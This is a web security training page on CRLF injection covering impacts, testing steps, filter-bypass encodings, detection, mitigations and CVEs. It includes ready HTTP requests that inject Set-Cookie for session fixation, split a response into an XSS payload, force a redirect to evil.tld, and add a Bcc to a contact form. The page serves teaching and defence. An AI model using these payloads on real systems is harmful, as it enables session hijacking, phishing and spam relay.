Skip to content
Pwnversity
WEB-CRLFintermediate · 7 min · upd. 2026-10

CRLF injection

OWASP A05:2025CWE-93

CRLF are the carriage-return and line-feed characters (\r\n, in URL %0d%0a) that separate headers and lines in text protocols like HTTP and SMTP. If an app reflects user input into a response header, an email or a log without filtering those characters, the attacker injects new lines and with them fake headers, body or entries. The invariant the attack breaks is the structural data/control separation: in these protocols, the end of line is the delimiter.

flowchart LR
    A[Attacker] -->|"param = value%0d%0aSet-Cookie: ..."| APP["App (builds the header by hand)"]
    APP -->|"writes CR LF unfiltered"| H["HTTP response with injected headers/body"]
    H -->|"browser / cache interprets them"| V["Victim: fixated cookie, XSS or redirect"]
  • HTTP response splitting: inject headers (Set-Cookie for session fixation, Location to redirect) or a second response body.
  • XSS via body injection in the response (once the headers are closed).
  • Web cache poisoning (poison the cached response; see cache).
  • Email header injection: in contact forms, inject Bcc:/To: to send spam or divert mail.
  • Log injection/forging: falsify or break log entries (hide tracks, inject misleading data, or payloads toward systems that process the logs).

It enters where user input ends up in a header or a line of a text protocol: parameters reflected in Location (parameter-based redirects), Set-Cookie, custom headers, email headers, or log files. The key is that %0d%0a is not filtered before writing the header/line. A single CRLF adds a header; a double CRLF (%0d%0a%0d%0a) closes the header area and opens the body, which is what turns the split into XSS.

Most modern runtimes (Node’s HTTP module, Go, Java, PHP header()) already reject CR/LF in header values. The flaw survives in code that builds the response by hand, in intermediate proxies/CDNs, and in the email and log contexts, where filtering is usually missing.

  • Response header injection — one extra header (Set-Cookie, Location).
  • Response splitting → body/XSS — double CRLF to inject a controlled body.
  • Request splitting / smuggling — CRLF toward a back-end via parsing differences (overlaps with request smuggling).
  • Email header injection — in the From/Subject/name of a mail form.
  • Log forging — breaking the log structure to falsify events.

Find parameters whose value appears in a response header (especially Location in parameter-based redirects and Set-Cookie). Inject a CRLF with a sentinel header and see whether it appears separated in the response.

GET /redirect?url=https://x%0d%0aX-Injected:%20pwn HTTP/1.1
Host: victim.tld
HTTP/1.1 302 Found
Location: https://x
X-Injected: pwn <- if it appears as its own header, there's CRLF injection

Cookie/header injection in a parameter-based redirect (session fixation):

GET /redirect?url=https://x%0d%0aSet-Cookie:%20sid=attacker%3b%20Path=/ HTTP/1.1
Host: victim.tld

Response splitting to a controlled body (double CRLF closes the headers) → XSS:

GET /q?lang=en%0d%0a%0d%0a<svg%20onload=alert(document.domain)> HTTP/1.1
Host: victim.tld

Forced redirect (phishing with a legit domain; overlaps with open redirect):

GET /set?lang=en%0d%0aLocation:%20https://evil.tld HTTP/1.1
Host: victim.tld

Email header injection in a contact form (adding a Bcc):

POST /contact HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
name=joe%0d%0aBcc:%20spam@evil.tld&message=hi

If the filter only blocks literal %0d%0a, try equivalents:

Ventana de terminal
# standard CRLF and uppercase
%0d%0a %0D%0A
# LF only or CR only (some parsers accept them)
%0a %0d
# overlong/unicode some stacks normalize to CR/LF
%E5%98%8A%E5%98%8D
  1. Locate the sink (reflected header, email, log).
  2. Inject a sentinel header with %0d%0a and confirm it in the raw response.
  3. Escalate: Set-Cookie (fixation), double CRLF → body/XSS, or Location → redirect.
  4. If it enters cache, evaluate cache poisoning; if it’s email, the Bcc.

Burp Suite (inject %0d%0a in parameters/headers and read the raw response), and fuzzing with the PayloadsAllTheThings CRLF lists.

Session fixation → ATO; split → reflected XSS; Location → phishing; cache entry → massive cache poisoning; Bcc → email exfiltration. One vulnerable parameter often allows several of these at once.

Input with %0d%0a/\r\n reflected in headers; duplicate or unexpected headers in responses; Set-Cookie/Location with parameter-controlled values; log lines with broken structure.

WAF with header inspection, server/app logs with the built header, and log integrity validation.

  1. Strip/escape CR and LF from any input going to a header, an email or a log.
  2. Don’t put user input in headers; use framework APIs that already reject CRLF in headers (most modern runtimes do).
  3. For email, use libraries that separate headers from body and sanitize fields.
  4. Validate/normalize and encode before logging (avoid log injection).

Fix the header/email/log construction, purge poisoned caches, and invalidate injected cookies (fixation).

  • Python urllib/urllib2 — CVE-2019-9740 / CVE-2019-9947 — CRLF injection via the URL (host/path) allowing header injection into the outbound request.
  • Python httplib — CVE-2016-5699 — CRLF in the HTTP request builder.
  • Historically, HTTP response splitting / CRLF affected numerous proxies and frameworks; today many runtimes block CRLF in headers, but it still appears in code that builds headers by hand, in email forms without sanitization and in logging systems (log forging).

Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

  • %0d%0a injection in parameters going to Location/Set-Cookie (sentinel header).
  • Response splitting (extra header / body / XSS with double CRLF).
  • Email header injection in contact forms (Bcc:).
  • Log injection if input ends in logs.
  • CRLF encoding variants tested (%0a, %0d, unicode).
  • Cache poisoning evaluated if the response is cached.